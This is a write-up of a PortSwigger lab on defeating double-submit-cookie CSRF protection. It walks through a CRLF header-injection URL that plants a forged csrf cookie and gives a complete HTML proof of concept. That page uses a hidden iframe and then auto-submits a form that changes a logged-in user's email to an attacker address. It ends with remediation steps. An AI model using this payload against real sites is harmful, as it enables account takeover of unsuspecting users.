CSRF where token is duplicated in cookie
CSRF where token is duplicated in cookie: Exploit a double submit cookie CSRF implementation to change a logged-in user’s email. The backend accepts a request if the csrf cookie and the csrf request parameter are equal — regardless of whether the value was legitimately issued by the server. • PortSwigger • CSRF • csrf
🎯 Objective
Exploit a double submit cookie CSRF implementation to change a logged-in user’s email. The backend accepts a request if the csrf cookie and the csrf request parameter are equal — regardless of whether the value was legitimately issued by the server.
🧩 Lab Setup & Assumptions
- Auth: User is already authenticated (session cookie maintained by the browser).
- Vulnerable action: POST to change email address.
- CSRF implementation: Double Submit Cookie pattern (server compares
csrfcookie withcsrfform field). - CRLF injection: The search endpoint accepts CRLF (
%0d%0a) and reflects headers, enabling Set-Cookie injection on the target origin. - Exploit server: Attacker-controlled server used to host the CSRF PoC.
🔎 Vulnerable Parameters & Cookies
- Cookie:
csrf=<value> - Request field:
csrf=<value> - Observation: If both match, the request is accepted. The application doesn’t validate that the
csrfvalue was genuinely issued by the server.
🔐 Risk Summary
- The app does not bind the CSRF token to the session or user.
- The value is not verified (only compared for equality between cookie and parameter).
- The app allows CRLF header injection on a GET endpoint, letting an attacker set a forged
csrfcookie on the victim’s browser (target origin).
🧭 Walkthrough
1) Baseline Request (Identify cookie + parameter equality check)
The request to change email includes a csrf cookie and a csrf form field with identical values.
Finding: The server only checks they are equal (not that the token is server-issued).
2) Forced Positive Test (Set both to the same arbitrary value)
Change both the csrf cookie and the csrf parameter to an arbitrary value (e.g., test).
Result: 302 then success → confirms equality-only validation.
3) Cookie Stuffing via CRLF (Set-Cookie injection on target origin)
Use the search endpoint to inject a Set-Cookie header. This sets the csrf cookie on the target origin within the victim’s browser.
Example (conceptual):
GET /?search=hat%0d%0aSet-Cookie:%20csrf=test;%20Path=/
Result: Response processed by the browser sets csrf=test for the target site.
4) Final CSRF PoC (Host on exploit server)
The PoC performs two steps:
- Loads the CRLF injection URL to set the
csrf=testcookie on the target origin. - Submits the email change form with
csrf=testin the body.
Host the PoC on the exploit server:
✅ Working Exploit HTML
Replace
TARGETwith the real origin and update the paths if needed.
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>CSRF Double-Submit PoC</title>
</head>
<body>
<!-- Step 1: Set csrf cookie on TARGET via CRLF header injection -->
<iframe
src="https://TARGET/?search=hat%0d%0aSet-Cookie:%20csrf=test;%20Path=/"
style="display:none"
onload="document.getElementById('xcsrf').submit();">
</iframe>
<!-- Step 2: Submit email change with csrf=test -->
<form id="xcsrf" action="https://TARGET/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.example">
<input type="hidden" name="csrf" value="test">
</form>
</body>
</html>Why it works:
- The iframe sets
csrf=teston the target origin (via CRLF Set-Cookie injection). - The form submits
csrf=testin the body. - Backend checks equality only → accepts the request and changes the email.
🧪 Verification
- Observe
302then200on follow-up. - Confirm email changed in the account profile.
🛡️ Remediation
- Use server-issued, session-bound CSRF tokens (store token server-side and bind to session/user).
- Rotate token per request/form where feasible.
- Enforce SameSite cookies (
SameSite=LaxorStrict) for session and CSRF-related cookies. - Fix CRLF injection (sanitize
\rand\n; reject inputs containing them). - Verify Origin/Referer (strict same-site checks; don’t treat missing headers as pass).
- Disable credentialed cross-site requests where possible and set
CSPto reduce attack surface.
📎 Appendix — Key Evidence
- Equality-only validation confirmed by altering cookie & parameter to
test→ accepted. - CRLF on search endpoint allows header injection →
Set-Cookieworks cross-site. - Full flow succeeds from attacker-controlled exploit server.
Screenshots (click to view):
- Baseline (cookie/param):

- Forced positive test (302):

- Header injection to set cookie:

- Final PoC (local):

- Hosted on exploit server:

📚 References
- OWASP Cheat Sheet Series — CSRF Prevention
- OWASP Testing Guide — CSRF Testing
- PortSwigger Academy — CSRF labs